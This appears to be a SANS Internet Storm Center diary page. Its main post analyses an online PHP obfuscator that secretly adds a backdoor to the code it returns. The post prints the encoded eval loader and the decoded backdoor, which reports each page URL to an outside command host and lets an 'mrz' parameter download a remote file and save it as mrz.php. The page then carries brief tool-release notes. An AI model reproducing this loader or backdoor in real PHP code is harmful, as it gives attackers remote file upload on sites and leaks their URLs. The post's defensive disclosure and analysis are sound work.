Backdoored PHP Obfuscator

    Published: 2026-11-29. Last Updated: 2026-11-29 21:02:10 UTC
    by Johannes Ullrich (Version: 1)
    0 comment(s)

    There are many reasons why someone would obfuscate backdoors. Few of them are "good". Many websites offer easy-to-use web-based tools to obfuscate PHP code. One of our readers, Patrick Scholing from DNSBunker.org, spotted an interesting one that does a bit more than simply obfuscate code: obfuscator[.]tools.

    This website hides some extra goodies in the obfuscated code. Being obfuscated, the introduced backdoor may, of course, go unnoticed. Let's start out with a very simple PHP snippet:

    <?php
    echo('x');
    ?>

    The result, selecting the "Legacy STT" method:

    <?php
    $stt1 = "bVJh\x619swEP3uX3ErB\x74m\x51NGUdhaZ4X4aXDLK1c5wy\x4BEEo8mU2tSNPknHcsv8+SX\x62SpMxfhO/evffuSf7zdddCBBu\x6D8OYTzZCLDAPC5skVn3+/WXS3L+x\x58mbPZc5PNbtvFx\x30x\x73rn9\x63LdooIuG\x645/NGmmmSa\x311PJxMCl+DTZZw8xskTmafpA53f\x4C1OyPqsn8c9V\x76\x45zpK\x76lG1oYjY5oZ\x45i\x59l\x36wKyLUqkjSwJRJ/B8lsZU\x65\x74C7NQR5YH5n\x4BqDnRRdo0Kdi\x34yA\x37ZEH62D01syRZSiH\x35hex\x307jT\x5993VOAVW12XBmdWa7Mdt2463QlZj4wZ3NpjslIf\x33o86AdUI3TVFm9E+DsgvcUmGPNoeLyuL32uygtERW0aFAufnTGByWt\x46iJqikt1\x4BXxGzUd\x31FTg2xsbwZaVCkdwYDVDXrGFAAq\x6CUAc+ncXpE6nkC\x31mH\x45Hqvl\x72IS\x47ley7O1HMGCsgruGHjAEAv/X\x50pJYk0\x4Dmh4njI+rrwTnhwaAjrZsTUuvyss5rMnr3Ct8JhGEIry5Q5LmAi6+GCaYwTMOy\x34R\x79Vgg8\x58d95fQJPOGTqWUkjb8nBf\x61He\x61\x65kD25\x68n/Aw=\x3D";
    $stt0 = "sj1KbyNATMw=qcboXW+EAmqOEY7TduGUPAWrW/P4+BnD2QqIFfE/AOhEK75scrCKnfkpkB+M63iCbS0NHAvHwn86Xq4f9H187ijnEiIUEP8ubbr4AMjcqcWxuRfsuLtRLPHg1cRu6+HCAe/mFuPkcENkvyNKQKS/=S7YIZWMPia58c16Dy/uN+nm3QGNh9EmeGTHohMmx5";
    eval(gzinflate(base64_decode($stt1)));
    ?>

    The result is quite a bit longer than what we started out with. But it is not unusual for obfuscation to increase the code size. The obfuscation method selected is a simple base64/gzip combination. For simple deobfuscation, I just replaced the "eval" with "print" and got:

    $k3yw = base64_decode('aHR0cHM6Ly9zaXlhaGkudG9wL2dob3N0Lw==');
    $cur = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    $data = array('file_url' => $cur);
    $options = array(
        'http' => array(
            'method'  => 'POST',
            'header'  => 'Content-type: application/x-www-form-urlencoded',
            'content' => http_build_query($data),
        ),
    );
    $context = stream_context_create($options);
    $result = file_get_contents($k3yw, false, $context);

    if ( isset($_GET['mrz']) )
    {
    $remoteUrl      = $_GET['file'];
    $remoteContent  = file_get_contents($remoteUrl);
    $encodedContent = base64_encode($remoteContent);

    if (file_put_contents('mrz.php', base64_decode($encodedContent))) {
        echo "File : mrz.php Success !";
    } else {
        echo "Error";
    }
    exit;
    }
    echo('x');

    Note that my original code remains at the end as the last line. The code will appear to work "just fine". But a few extra lines have been added.

    These extra lines will:

    * send the full URL of the page to https://siyahi.top/ghost/
    * introduce a simple arbitrary file upload feature that is triggered by the "mrz" URL parameter. 

    The uploaded file will be saved as "mrz.php". I send a request to the attacker's collection script attempting to "seed" it with a specific URL and will update this post if I see a request coming in for it. So far (about an hour later), I did not see a request for the specific URL.

    The website used for command and control, siyahi.top, appears to be a compromised construction company website. But the "default" mailing address and the website's overall boilerplate look and feel may indicate that this is just a decoy to make the malicious site appear harmless during cursory inspection. 

    As usual: Be careful :) 

    --
    Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
    Twitter|

    0 comment(s)

    Holiday Hack Challenge 2026 is Now Open

    Published: 2026-11-29. Last Updated: 2026-11-29 09:24:12 UTC
    by Didier Stevens (Version: 1)
    0 comment(s)

    The "SANS 2026 Holiday Hack Challenge™: The Pyramid on the Ice" is now open and can be found here.

    Didier Stevens
    Senior handler
    blog.DidierStevens.com

    Keywords:
    0 comment(s)

    YARA-X 1.24.0 & YARA-X 1.25.0 Release

    Published: 2026-11-29. Last Updated: 2026-11-29 09:23:32 UTC
    by Didier Stevens (Version: 1)
    0 comment(s)

    YARA-X's 1.24.0 release brings 8 improvements and 15 bugfixes.

    YARA-X's 1.25.0 release brings 4 improvements and 14 bugfixes.

    Didier Stevens
    Senior handler
    blog.DidierStevens.com

     

     

    Keywords:
    0 comment(s)

    Wireshark 4.6.10 Released

    Published: 2026-11-29. Last Updated: 2026-11-29 09:21:14 UTC
    by Didier Stevens (Version: 1)
    0 comment(s)

    Wireshark release 4.6.10 fixes 39 vulnerabilities and 14 bugs.

    Didier Stevens
    Senior handler
    blog.DidierStevens.com

    Keywords:
    0 comment(s)

      Comments


      Diary Archives